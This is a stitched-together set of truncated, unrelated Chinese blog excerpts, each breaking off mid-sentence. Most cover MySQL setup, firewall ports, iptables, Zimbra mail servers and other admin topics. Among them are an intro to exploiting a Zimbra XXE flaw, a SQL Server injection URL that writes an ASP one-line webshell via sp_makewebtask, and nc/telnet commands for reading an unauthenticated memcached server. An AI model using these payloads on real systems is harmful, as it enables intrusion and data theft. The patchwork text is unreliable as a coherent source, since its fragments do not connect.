2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞的利用过程进行复现. 第一步:利用XXE读取配置文件 这里利用了CVE-2019-9670漏洞来读取配置文件,你需要在自己的VPS服务器上放置一个dtd文件,并使该文件能够通过HTTP访问.为了演示,我在GitHub上创建了一个仓库,从GitHub上获取dtd文件. 上图中用红框圈起来的就是zimb

CentOS7的yum源中默认好像是没有mysql的.为了解决这个问题,我们要先下载mysql的repo源. 1. 下载mysql的repo源 $ wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm 2. 安装mysql-community-release-el7-5.noarch.rpm包 $ sudo rpm -ivh mysql-community-release-el7-5.noarch.rpm 安装这个

1.sqlmap遇到MySQL注入可以成功getshell,但是,遇到sqlserver注入未成功getshell. 2.xp_cmdshell 如何 getshell(1433未对外开放). 解决方案一: http://127.0.0.1/XXXasp?id=3389';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- 前提是注入

关于安卓上的app分析,有非常多的本地化软件能够胜任, 只是,今天给大家介绍一款在线的安全审计,恶意软件(android app)检測和分析工具,mobiseclab, 由于看到国内对此工具的介绍比較少,可是事实上有非常多人在默默使用.不信你看下图upload的app数目: 好,那既然短短一段时间[最早的样本事实上是今年的10月1号]这么多,看的这么多都是别人的样本,不如我们自己试一试吧: 0x00: 首先,你得先有个账号,去http://akana.mobiseclab.org/registe

前几天捣鼓了一下博客首页,接下来再丰富一下博客页面的功能与内容.由于我所使用的Ghost博客专注于轻量简洁,因此标题中提到的功能在Ghost中默认均不支持.下面将逐个介绍一下如何为Ghost扩展这些功能. 代码高亮 代码高亮的方案很多,我在Hexo的某个主题上注意到了highlight.js这个插件. 这个插件默认支持23中主流编程语言以及100多种代码高亮主题,基本满足你的需求.还不满意?你可以在官网选择你希望支持的编程语言进行定制. 我使用官网介绍的CDN方式嵌入highlight.js.在

优先考虑mysql数据库是否开启 1.先看报错窗口.   通过百度,最终找到的原因是:远程3306端口未对外开放. 于是下面进行远程3306端口开放操作.   首先远程连接服务器,点击“开始”-“管理工具”-“高级安全Windows防火墙”.   在打开的窗口中,左边选中“入站规则”,右边点击“新规则”来新建一个入站规则.   在“规则类型”中选择“端口”,然后下一步.   选中“特定本地端口”,输入3306,然后下一步.   选中“允许连接”,然后下一步.   这一步默认都选中就行,,然后下一

解决问题时,建议先在阿里云设置好数据库访问的白名单,把自己的IP地址填进去 问题现象 Navicat for MySQL访问远程mysql数据库,出现报错,显示“2003- Can't connect MySQL Server on '112.115.121.27'(10038) 问题原因 10038错误的含义是远程3306端口未对外开放. 解决方案 1)首先远程连接服务器,点击“开始”-“管理工具”-“高级安全Windows防火墙” 2)在打开的窗口中,左边选中“入站规则”,右边点击“新规则”

MongoDB之外的新选择 MongoDB拥有灵活的文档型数据结构和方便的操作语法,在新兴的互联网应用中得到了广泛的部署,但对于其底层的存储引擎一直未对外开放,虽说开源却有失完整.Mongo版本3中开发了插件式存储引擎API,为第三方的存储引擎厂商加入Mongodb提供了方便.也许是迫于TokuMX的压力,内存配置在版本3中都有很好的体现.即便如此,在面对文档数据库的技术造型时,我们又多了一个选择. 什么是TokuMX,什么又是Percona(破裤拿)呢? TokuMX实现了绝大部分MongoD

博客地址:http://www.moonxy.com 一.前言 前面几章介绍了 MySQL 的安装和简单的配置,只会这些还不够,作为 Linux 系统管理员,我们还需要掌握一些基本的操作,以满足日常管理工作所需.MySQL环境中的命令需要带一个分号作为命令结束符. MySQL 之父 Widenius 先生离开了 Sun 之后,觉得依靠 Sun/Oracle 来发展 MySQL,实在很不靠谱,于是决定另开分支,这个分支的名字叫做 MariaDB.MariaDB 跟 MySQL 在绝大多数方面是兼容

安装 下载Linux对应的MySQL https://dev.mysql.com/downloads/mysql/ CentOS选择Red Hat Enterprise Linux 在/usr/local/目录下新建目录mysql cd /usr/local/ mkdir mysql cd mysql/ 打开文件传输工具将下载的压缩包 mysql-8.0.17-1.el7.x86_64.rpm-bundle.tar 放到此目录 解压 tar -xvf mysql-8.0.17-1.el7.x86

打开转发开关要让iptables的端口转发生效,首先需要打开转发开关方法一:临时打开,重启后失效$sudo su#echo 1 >/proc/sys/net/ipv4/ip_forward 方法二:永久打开,重启依然有效编辑/etc/sysctl.conf文件,将net.ipv4.ip_forward=1前面的#注释去掉,保存文件,然后执行sudo sysctl -p使其生效 典型使用场景举例场景一:目标机的22端口外网没有打开,通过本地端口转发实现通过其他端口访问ssh的22端口案例:125.

大家好,最近公司新项目采用SpingCloud全家桶进行开发,原先对SpringCloud仅仅只是停留在了解的初级层面,此次借助新项目的契机可以深入实践下SpringCloud,甚是Happy.大学毕业刚入职的时候就有想写技术文章的想法,蹉跎蹉跎都那么些年过去了,期间所遇到的问题都图方便随手保存在了有道云笔记这个狭小的空间中,记了这么多也要见见光了,后续有机会都迁移出来,大家互相学习,提升技术,修炼内功.话不多说,那我们现在就开始SpringCloud之旅吧! 项目版本 spring-boot-

参考资料: https://www.jianshu.com/p/cac186cb168b https://blog.csdn.net/snowin1994/article/details/80608079 今天看到一个开源的Office软件,叫LibreOffice.心想着大概和微软的Office用起来差不多吧,进到下载界面看到多个可以下载的选项:软件包,SDK,SourceCode. 软件包自然不用说,别人打包好的dmg文件,直接安装就可以使用了,相关的库也都一并安装到电脑中.SouceCod

如果你想从头学习Jmeter,可以看看这个系列的文章哦 https://www.cnblogs.com/poloyy/category/1746599.html 前言 做性能测试,监控服务器资源指标是必须有的一步 这一篇博客将讲解通过 Jmeter 插件来监控服务器,再通过 Jmeter 观察监控结果 下载.安装.运行插件 JMeterPlugins-Extras.jar JMeterPlugins-Standard.jar ServerAgent-2.2.3.zip 可以通过官方下载:http

最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器,所以下载的是32位的redis,如果是64位的请下载对应的版本 下载地址:https://github.com/MSOpenTech/redis/releases. 下载下来的压缩包将其放入C盘根目录,重命名为Redi

邮件服务器上架,问题记录. 1.DNS解析设置,zimbra收发邮件均使用统一域名,mail.xxxx.com.cn,因此在做SMTP,POP,MX记录时均应指向此域名. 2.实际上架内部网络和安装所在网络环境不一致,导致网页端能登陆,但是发送邮件被拒绝,解决办法如下 修改当前域名下MTA信任的网络为实际的网络. 3.检查服务器出口所在IP是否是A记录指向的IP地址,使用此命令可以查询到,再未确认IP地址是否正确是,请勿发送测试邮件,我就是漏此步发送测试邮件,被总部邮件系统拉入黑名单了,伤心!

memcached未授权 漏洞成因: Memcached端口是对外开放的,用nc或Telne可以直接登录,查看信息,增加修改都可以. nc -vv 1.2.3.4 11211 telnet 1.2.3.4 11211 验证读取key: stats stats items stats cachedump 22 0 get kkkkkkkkkkkk 修复建议: memcached设置监听内网或配置防火墙限制非必要的远程访问

NMap,也就是Network Mapper,最早是Linux下的网络扫描和嗅探工具包. 1 安装 apt-get install nmap 2 使用,查看ip下所有对外的端口 $ sudo nmap -sS ip Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-16 18:29 CST Nmap scan report for ip Host is up (0.038s latency). Not shown: 997 filtered p

背景: 公司最近由于服务器费用问题,需要将邮件服务器从亚马逊(新加坡)云服务器A迁移到阿里云(香港)云服务器B. 由于邮箱使用的是域名访问,但是没有进行备案,所以只能迁移到港澳台地区,才能正常使用. 概述: 在服务器A上面发现有当时的zimbra的安装包,于是直接使用这个包在服务器B上安装使用,安装倒是没有什么问题,迁移是个大问题,由于zimbra套件比较臃肿,要想搞透太难,而且时间也不允许,在找了几个方案后,最近决定使用rsync直接同步来迁移,简单.哈哈. 准备: 在原服务器A上发现了原来的

一.对域名设置MX记录 二.安装准备 1.关闭selinux vi /etc/selinux/config SELINUX=disabled 2.iptables防火墙端口设置 # iptables -I INPUT -s 0.0.0.0/0 -p udp --dport 11211 -j DROP iptables -I INPUT -s zabbix服务器IP地址 -p tcp --dport 10050 -j ACCEPT iptables -I INPUT -s 公司出网IP -p tc